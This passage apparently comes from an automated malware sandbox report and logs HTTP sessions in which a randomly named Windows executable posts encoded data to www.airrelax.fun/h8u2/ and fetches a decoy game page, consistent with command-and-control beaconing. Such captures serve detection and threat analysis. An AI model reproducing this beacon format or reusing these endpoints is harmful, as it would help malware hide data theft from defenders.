38 51 32 70 2f 39 72 65 7a 76 55 75 6f 3d 26 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?6v1=WGwtlgua1mFE8w70y2D40WjEmJ/2naD3+yS53ypxyLwYVAJFjddGfrPEgp8g5wfMnqQJPb28rx54q6h4cM7r9HJG6TCboJQlkTUiARap458Q2p/9rezvUuo=&dX7=sns4Fhmpql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49771	104.21.73.154	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:00.959372997 CEST	791	OUT	POST /h8u2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.airrelax.fun Origin: http://www.airrelax.fun Referer: http://www.airrelax.fun/h8u2/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 69 70 65 36 59 4d 39 58 46 65 30 77 73 66 41 35 6d 6f 63 4e 4b 56 5a 4c 78 65 35 4b 66 41 41 41 79 64 78 70 33 43 53 41 6a 54 64 45 6f 34 50 6d 72 6c 68 78 6a 70 2b 62 35 4d 52 76 55 43 74 48 42 64 49 56 41 63 66 61 4f 79 4f 30 6b 53 67 59 44 30 76 74 76 37 68 54 67 7a 50 6b 2b 65 67 7a 48 39 54 6d 54 51 34 33 77 36 5a 47 75 44 6c 76 34 4d 6f 47 7a 76 4a 58 6a 47 42 4a 77 71 61 49 4a 78 48 39 55 46 6e 31 4c 6e 61 31 6c 52 56 51 2f 36 6a 6b 62 42 53 4d 4c 79 6a 62 53 63 47 77 5a 64 58 47 38 46 53 52 52 79 56 53 6a 56 78 66 47 51 57 71 6a 50 78 6f 74 49 7a 43 6b 77 55 74 58 77 3d 3d Data Ascii: 6v1=ipe6YM9XFe0wsfA5mocNKVZLxe5KfAAAydxp3CSAjTdEo4Pmrlhxjp+b5MRvUCtHBdIVAcfaOyO0kSgYD0vtv7hTgzPk+egzH9TmTQ43w6ZGuDlv4MoGzvJXjGBJwqaIJxH9UFn1Lna1lRVQ/6jkbBSMLyjbScGwZdXG8FSRRyVSjVxfGQWqjPxotIzCkwUtXw==
Oct 8, 2024 15:24:01.248963118 CEST	1102	IN	HTTP/1.1 405 Not Allowed Date: Tue, 08 Oct 2024 13:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VLAVJWJ%2FbdlX6fiHwYTjAJkKxZSxuiPr1DWEd52ujWcHjHD%2BLRF1C4kMHJM0Im0vN5EQNZc1LNOUEqhLDgEpsNSPnhjgGGqgDKR3%2FV98u0LrPUvltxyn7Sl2lYQk11jy6u5N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf672e24a840dc7-EWR Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 8, 2024 15:24:01.249028921 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49772	104.21.73.154	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:03.583478928 CEST	811	OUT	POST /h8u2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.airrelax.fun Origin: http://www.airrelax.fun Referer: http://www.airrelax.fun/h8u2/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 69 70 65 36 59 4d 39 58 46 65 30 77 74 2b 51 35 6e 50 6f 4e 43 56 59 35 2b 2b 35 4b 4b 51 41 4d 79 64 39 70 33 44 6d 51 69 6d 31 45 6f 61 58 6d 73 52 31 78 69 70 2b 62 78 73 52 75 4a 79 73 4a 42 64 4d 33 41 59 62 61 4f 79 61 30 6b 53 51 59 43 44 62 73 75 72 68 52 72 54 50 71 6d 2b 67 7a 48 39 54 6d 54 54 46 53 77 36 42 47 75 77 39 76 35 74 70 51 74 66 4a 51 69 47 42 4a 30 71 61 4d 4a 78 47 61 55 45 4c 50 4c 6c 53 31 6c 51 6c 51 2f 4f 50 37 49 68 53 4f 50 79 69 45 54 4f 58 4f 47 35 6e 61 35 43 4f 58 51 44 4a 30 69 44 67 46 62 69 69 4f 67 63 74 61 70 34 4b 71 6d 79 56 32 4b 33 58 6f 43 51 48 2b 65 63 2b 51 36 49 4c 7a 39 31 51 35 78 52 55 3d Data Ascii: 6v1=ipe6YM9XFe0wt+Q5nPoNCVY5++5KKQAMyd9p3DmQim1EoaXmsR1xip+bxsRuJysJBdM3AYbaOya0kSQYCDbsurhRrTPqm+gzH9TmTTFSw6BGuw9v5tpQtfJQiGBJ0qaMJxGaUELPLlS1lQlQ/OP7IhSOPyiETOXOG5na5COXQDJ0iDgFbiiOgctap4KqmyV2K3XoCQH+ec+Q6ILz91Q5xRU=
Oct 8, 2024 15:24:03.876974106 CEST	1098	IN	HTTP/1.1 405 Not Allowed Date: Tue, 08 Oct 2024 13:24:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Shfznmm1NU28BxuDy1ChrcNww2KRxjpGssoqycRI9hzhwEdTeFWKFqPKVkVn1%2B7pHxYpv8zgBT8iSxXF6euBKuj9VqeIeZHgjUlzr7E3oViV5kG2TKGQ9mAKDAHbUYg8PpHt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf672f2bb62de96-EWR Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 8, 2024 15:24:03.877053976 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49773	104.21.73.154	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:06.207966089 CEST	2578	OUT	POST /h8u2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.airrelax.fun Origin: http://www.airrelax.fun Referer: http://www.airrelax.fun/h8u2/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 69 70 65 36 59 4d 39 58 46 65 30 77 74 2b 51 35 6e 50 6f 4e 43 56 59 35 2b 2b 35 4b 4b 51 41 4d 79 64 39 70 33 44 6d 51 69 67 74 45 6f 70 66 6d 76 7a 64 78 6c 70 2b 62 37 4d 52 6a 4a 79 74 56 42 63 6f 7a 41 59 57 76 4f 78 69 30 6c 78 6f 59 58 43 62 73 67 72 68 52 32 44 50 72 2b 65 67 71 48 39 6a 71 54 54 56 53 77 36 42 47 75 32 52 76 77 63 70 51 76 66 4a 58 6a 47 42 56 77 71 62 62 4a 78 66 6c 55 45 2f 66 4b 55 79 31 6d 77 31 51 35 74 33 37 4c 42 53 49 4b 79 69 4d 54 4f 62 72 47 2f 44 6f 35 47 4f 39 51 42 70 30 67 6b 56 65 41 57 7a 57 35 74 74 7a 6c 38 4f 78 69 30 42 57 54 6e 6e 53 4b 69 36 54 63 49 79 67 39 72 62 72 74 47 4d 54 74 58 77 39 6c 62 35 4f 45 78 47 30 53 2f 72 67 53 58 30 32 6b 43 67 58 57 4b 75 41 48 63 43 4f 46 71 48 49 39 65 38 46 2b 6d 33 51 45 63 6a 32 2f 68 52 6a 2b 65 47 31 77 5a 4e 5a 67 77 75 6c 62 49 4c 6a 41 50 55 69 47 72 58 51 69 65 52 68 6c 4b 44 51 6f 62 49 63 7a 56 38 35 6a 32 61 68 42 33 31 33 55 71 67 38 32 4d 77 36 58 64 32 32 57 64 63 44 64 66 78 4b 6a 77 [TRUNCATED] Data Ascii: 6v1=ipe6YM9XFe0wt+Q5nPoNCVY5++5KKQAMyd9p3DmQigtEopfmvzdxlp+b7MRjJytVBcozAYWvOxi0lxoYXCbsgrhR2DPr+egqH9jqTTVSw6BGu2RvwcpQvfJXjGBVwqbbJxflUE/fKUy1mw1Q5t37LBSIKyiMTObrG/Do5GO9QBp0gkVeAWzW5ttzl8Oxi0BWTnnSKi6TcIyg9rbrtGMTtXw9lb5OExG0S/rgSX02kCgXWKuAHcCOFqHI9e8F+m3QEcj2/hRj+eG1wZNZgwulbILjAPUiGrXQieRhlKDQobIczV85j2ahB313Uqg82Mw6Xd22WdcDdfxKjwq5JyoZe4BA3+nRXWna8MLbIE8ma2J2fVFpTsnOOkxmXgJpzDrG2e3LzMx0eZfjHmQdhZyl+/o0hDcC4o5If9qFLiAcRehFk3aNFtB35o58x76IqoOsdO43oLp1I/uQC4DFQ5FaPZh2LZbJ+nSS0xyAaSXllvYJUTd9gPG9A6J4kFc0/IUR7uJ2Z4zFtjnrKtvNNN0dE2M8Qso4HeM2H4DwJrK02QUKQ7QqitgUG5YnA6S6wYK9mR9QKIkB6//sjpFHuAvP4Z4osKOuI3aU5+J91wuZJ22xHPQNBchmVxWCFoNvfJlCzpOQifFfuc+X5L02wnqOsvwE+XjpnVSqsCto0Tp1kgcPNK6iSzicG48CCtGPzzT0ehgJnljYUWNLN9Yk3rMw+lU8IJfw/MemaSTjnFWnMRsvLPqsVxEsrdGwkuNBdsHOviGmfcifIQ5bOrNTXj3YVZ44k+xfzzkXo/O+3K3nZH/V0CIR0BnQGr9uF1Lj52PL5+9BLmwPm90Eb5iOOIdrtnqYkTgFzJ/TcuLWQ2IKNxh2EXi6ssELYbGBAXvG9Y4zGFYPvOrvEllEO2RS8Qz6nmtYCKfowm/Is81BpagqWmxyb5dm0MLlBZM7DzMnfQXF4IrAwjE+51QD6oBACf5RmeLSw9+8HyYbQvoNBSMRit17i/dC [TRUNCATED]
Oct 8, 2024 15:24:06.208014011 CEST	5382	OUT	Data Raw: 4d 53 2b 55 70 46 62 4d 6a 2b 38 45 70 58 43 43 52 2f 69 54 34 42 70 53 36 35 43 42 44 6a 4a 41 51 71 5a 65 79 34 34 74 4e 2f 4b 57 67 6b 4a 71 58 65 2f 4e 75 31 78 50 53 77 45 30 66 4c 31 69 4e 6e 4c 49 45 4c 51 72 46 39 30 38 6b 66 74 37 55 47 Data Ascii: MS+UpFbMj+8EpXCCR/iT4BpS65CBDjJAQqZey44tN/KWgkJqXe/Nu1xPSwE0fL1iNnLIELQrF908kft7UGdyorg9mtt5/IHB9xShBSZIY9KRyshEda5m4Y5ezY7QOYkT3mpTu/QJ/7xrX+m2sqmfzsE7Uh04y9foU5eWBHk+O8lhk4hApOeTk3oNbC+HDoMkFJglpBEtbPfD+VBUcNWtmTsDHJj3s/rSGAvP8tEQkieeiEihUn0
Oct 8, 2024 15:24:06.492079973 CEST	534	IN	HTTP/1.1 405 Not Allowed Date: Tue, 08 Oct 2024 13:24:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jhNudZIQCj5GT8lM4IZEnOLwCPh5iw1v7%2FT4cU1QEia89MYWYlvZbXxv8%2BAsqC9Mqe6GLsFBxkR5jC9WyCdNNNx6VlxBz1Jc5BL1gBju2T6oE7BfNCurHtYQDrHEn5lTJ8Sd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf673031fdf4243-EWR
Oct 8, 2024 15:24:06.492171049 CEST	566	IN	Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding
Oct 8, 2024 15:24:06.492295980 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49774	104.21.73.154	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:08.830410957 CEST	530	OUT	GET /h8u2/?6v1=vr2ab8FMPsEkiu8K6sYiESJD6PZyfA8o0uxH3zipi2Nl7N6SwAU2trqX6+EyUEt1RJNxU6mfX1uWkDgrCUqdmsZzuUbFrv0xNqeacTwq7J8/lRZu9qsB1Iw=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.airrelax.fun Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:24:09.131730080 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 13:24:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Sat, 28 Sep 2024 04:22:11 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lFkI%2FDGblwzf7KpZN5QI1KT4E0UtnuS1xjGZXtr6xkG2OcnwjVwTWaNopFdG3oo5g2C61wOfQ9f%2BsWX4e1esLu3ZqlFR1SS8zUYpnB05I3rIpVkjMaFEBkP6SqxE1jHVN%2B%2F8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf673137e5e7d00-EWR Data Raw: 35 36 62 64 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 09 09 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 [TRUNCATED] Data Ascii: 56bd<html lang=""><head><meta charset="utf-8"><meta name="viewport"content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no,viewport-fit=cove" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="icon" href="favicon.ico"><meta content="yes" name="apple-mobile-web-app-capable"><meta content="yes" name="apple-touch-fullscreen"><title>actionarena.top: Where happiness meets innovation \| Online Game \| Free Game</title><link href="css/chunk-common.2627b58b.css" rel="preload" as="style"><link href="css/chunk-vendors.df919975.css" rel="preload" as="style"><link href="css/ch
Oct 8, 2024 15:24:09.131820917 CEST	1289	IN	Data Raw: 75 6e 6b 2d 76 65 6e 64 6f 72 73 2e 64 66 39 31 39 39 37 35 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 63 68 75 6e 6b 2d 63 6f 6d 6d 6f 6e 2e 32 36 32 37 62 35 38 62 Data Ascii: unk-vendors.df919975.css" rel="stylesheet"><link href="css/chunk-common.2627b58b.css" rel="stylesheet"><link href="css/index.c29d2c62.css" rel="stylesheet"><script src="gameData-new.js"></script><script> const hostname = wind
Oct 8, 2024 15:24:09.131835938 CEST	1289	IN	Data Raw: 6f 6c 20 73 65 74 74 69 6e 67 73 0a 09 09 61 69 70 74 61 67 2e 63 6d 70 20 3d 20 7b 0a 09 09 09 73 68 6f 77 3a 20 74 72 75 65 2c 0a 09 09 09 70 6f 73 69 74 69 6f 6e 3a 20 22 63 65 6e 74 65 72 65 64 22 2c 20 20 2f 2f 63 65 6e 74 65 72 65 64 2c 20 Data Ascii: ol settingsaiptag.cmp = {show: true,position: "centered", //centered, bottombutton: true,buttonText: "Privacy settings",buttonPosition: "bottom-left" //bottom-left, bottom-right, bottom-center, top-left, top-right}
Oct 8, 2024 15:24:09.131956100 CEST	1289	IN	Data Raw: 65 20 6c 6f 61 64 65 64 2c 20 6c 6f 61 64 20 79 6f 75 72 20 63 6f 6e 74 65 6e 74 20 68 65 72 65 22 29 3b 0a 09 09 09 09 61 69 70 74 61 67 2e 61 64 70 6c 61 79 65 72 2e 61 69 70 43 6f 6e 66 69 67 2e 41 49 50 5f 43 4f 4d 50 4c 45 54 45 28 29 3b 0a Data Ascii: e loaded, load your content here");aiptag.adplayer.aipConfig.AIP_COMPLETE();}}</script><script async src="//api.adinplay.com/libs/aiptag/pub/SMG/actionarena.top/tag.min.js"></script></head><body><div id="app"><div data-
Oct 8, 2024 15:24:09.131969929 CEST	1289	IN	Data Raw: 73 70 61 6e 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 63 6c 61 73 73 3d 22 69 74 65 6d 5f 6e 61 6d 65 22 3e 0a 09 09 09 09 09 09 47 69 72 6c 73 0a 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 Data Ascii: span data-v-49759819="" class="item_name">Girls</span></div></a><a data-v-49759819="" href="search.html?type=Puzzle" class="type_item"><div data-v-49759819=""><img data-v-49759819="" alt="" src="img/puzzle.
Oct 8, 2024 15:24:09.131982088 CEST	1289	IN	Data Raw: 31 34 66 61 61 2e 70 6e 67 22 20 64 61 74 61 2d 73 72 63 3d 22 69 6d 67 2f 6b 69 64 73 2e 61 35 34 31 34 66 61 61 2e 70 6e 67 22 0a 09 09 09 09 09 09 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 2e 35 72 65 6d 3b 20 68 65 69 67 68 74 3a 20 31 2e Data Ascii: 14faa.png" data-src="img/kids.a5414faa.png"style="width: 1.5rem; height: 1.5rem;"><span data-v-49759819="" class="item_name">Kids</span></div></a><a data-v-49759819="" href="search.html?type=Strategy" cla
Oct 8, 2024 15:24:09.131993055 CEST	1289	IN	Data Raw: 22 74 79 70 65 5f 69 74 65 6d 22 3e 0a 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 61 6c 74 3d 22 22 20 73 72 63 3d Data Ascii: "type_item"><div data-v-49759819=""><img data-v-49759819="" alt="" src="img/classics.cb9961c6.png" data-src="img/classics.cb9961c6.png"style="width: 1.5rem; height: 1.5rem;"><span data-v-49759819="" class="item_name">
Oct 8, 2024 15:24:09.132004023 CEST	1289	IN	Data Raw: 33 39 20 33 38 2e 33 37 33 31 33 39 7a 4d 38 32 38 2e 37 30 36 33 30 36 20 32 38 39 2e 39 39 38 36 30 31 68 2d 36 33 33 2e 34 31 32 36 31 32 63 2d 32 31 2e 31 38 31 39 37 33 20 30 2d 33 38 2e 33 37 33 31 33 39 2d 31 37 2e 31 39 31 31 36 36 2d 33 Data Ascii: 39 38.373139zM828.706306 289.998601h-633.412612c-21.181973 0-38.373139-17.191166-38.373138-38.373139s17.191166-38.373139 38.373138-38.373139h633.412612c21.181973 0 38.373139 17.191166 38.373138 38.373139s-17.191166 38.373139-38.373138 38.37313
Oct 8, 2024 15:24:09.132091999 CEST	1289	IN	Data Raw: 35 2e 38 20 33 36 2d 36 33 2e 39 20 37 37 2e 38 2d 38 33 2e 35 20 31 32 34 2e 35 2d 32 30 2e 33 20 34 38 2e 33 2d 33 30 2e 36 20 39 39 2e 36 2d 33 30 2e 36 20 31 35 32 2e 34 73 31 30 2e 33 20 31 30 34 2e 31 20 33 30 2e 36 20 31 35 32 2e 34 63 31 Data Ascii: 5.8 36-63.9 77.8-83.5 124.5-20.3 48.3-30.6 99.6-30.6 152.4s10.3 104.1 30.6 152.4c19.6 46.6 47.7 88.5 83.5 124.5s77.5 64.2 123.9 84c48.1 20.5 99.2 30.8 151.8 30.8S559 838 607.1 817.6c31.7-13.5 61.2-30.9 88.1-52l177.6 177.6c18.9 18.9 49.9 18.9 6
Oct 8, 2024 15:24:09.132106066 CEST	1289	IN	Data Raw: 09 64 3d 22 4d 34 32 36 2e 36 36 36 36 36 37 20 34 32 36 2e 36 36 36 36 36 37 6d 2d 32 35 36 20 30 61 32 35 36 20 32 35 36 20 30 20 31 20 30 20 35 31 32 20 30 20 32 35 36 20 32 35 36 20 30 20 31 20 30 2d 35 31 32 20 30 5a 22 20 66 69 6c 6c 3d 22 Data Ascii: d="M426.666667 426.666667m-256 0a256 256 0 1 0 512 0 256 256 0 1 0-512 0Z" fill="#B3E5FC"p-id="15830"></path></svg></div></div></div><div><div data-v-362b6a26="" class="home"><div data-v-362b6a26="
Oct 8, 2024 15:24:09.132117987 CEST	1289	IN	Data Raw: 72 65 6d 22 0a 09 09 09 09 09 09 09 09 09 09 09 09 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 32 34 20 31 30 32 34 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 Data Ascii: rem"viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg"p-id="2386" data-spm-anchor-id="a313x.7781069.0.i3"xmlns:xlink="http://www.w3.org/1999/xlink" class="icon"><path da

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49775	78.141.202.204	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
